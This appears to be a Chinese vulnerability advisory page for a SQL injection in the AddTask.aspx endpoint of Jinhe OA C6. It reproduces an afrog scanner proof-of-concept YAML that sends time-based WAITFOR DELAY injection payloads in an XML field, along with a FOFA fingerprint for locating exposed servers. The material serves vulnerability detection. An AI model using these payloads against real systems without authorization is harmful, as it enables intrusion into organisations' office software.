jinhe-oa-addtask-sqli: 金和OA-AddTask.aspx存在SQL注入漏洞

日期: 2025-09-01 | 影响软件: 金和OA | POC: 已公开

漏洞描述

金和OA C6 AddTask.aspx 接口处存在SQL注入漏洞 fofa:icon_hash="1259797304"

PoC代码[已公开]

id: jinhe-oa-addtask-sqli

info:
  name: 金和OA-AddTask.aspx存在SQL注入漏洞
  author: AVIC123
  severity: high
  verified: true
  description: |
    金和OA C6 AddTask.aspx 接口处存在SQL注入漏洞
    fofa:icon_hash="1259797304"
  reference:
    - https://mrxn.net/jswz/jhsoft-AddTask-sqli-xxe.html
  tags: jinhe,oa,sqli
  created: 2025/08/19

set:
  hostname: request.url.host

rules:
  r0:
    request:
      method: POST
      path: /c6/Jhsoft.Web.dailytaskmanage/AddTask.aspx/
      headers:
        Content-Type: application/xml
      body: |
        <root>
          <Page>
            <PageName>TaskDetect</PageName>
          </Page>
          <StartTime>2025-01-01 00:00:00</StartTime>
          <EndTime>2025-01-01 00:00:00</EndTime>
          <TaskExecutorID>3');WAITFOR DELAY'0:0:5'-- </TaskExecutorID>
        </root>
    expression: response.status == 200 && response.latency <= 7000 &&  response.latency >= 5000
  r1:
    request:
      method: POST
      path: /c6/Jhsoft.Web.dailytaskmanage/AddTask.aspx/
      headers:
        Content-Type: application/xml
      body: |
        <root>
          <Page>
            <PageName>TaskDetect</PageName>
          </Page>
          <StartTime>2025-01-01 00:00:00</StartTime>
          <EndTime>2025-01-01 00:00:00</EndTime>
          <TaskExecutorID>3');WAITFOR DELAY'0:0:10'-- </TaskExecutorID>
        </root>
    expression: response.status == 200 && response.latency <= 12000 &&  response.latency >= 10000

expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/jinhe-oa-addtask-sqli.yaml

相关漏洞推荐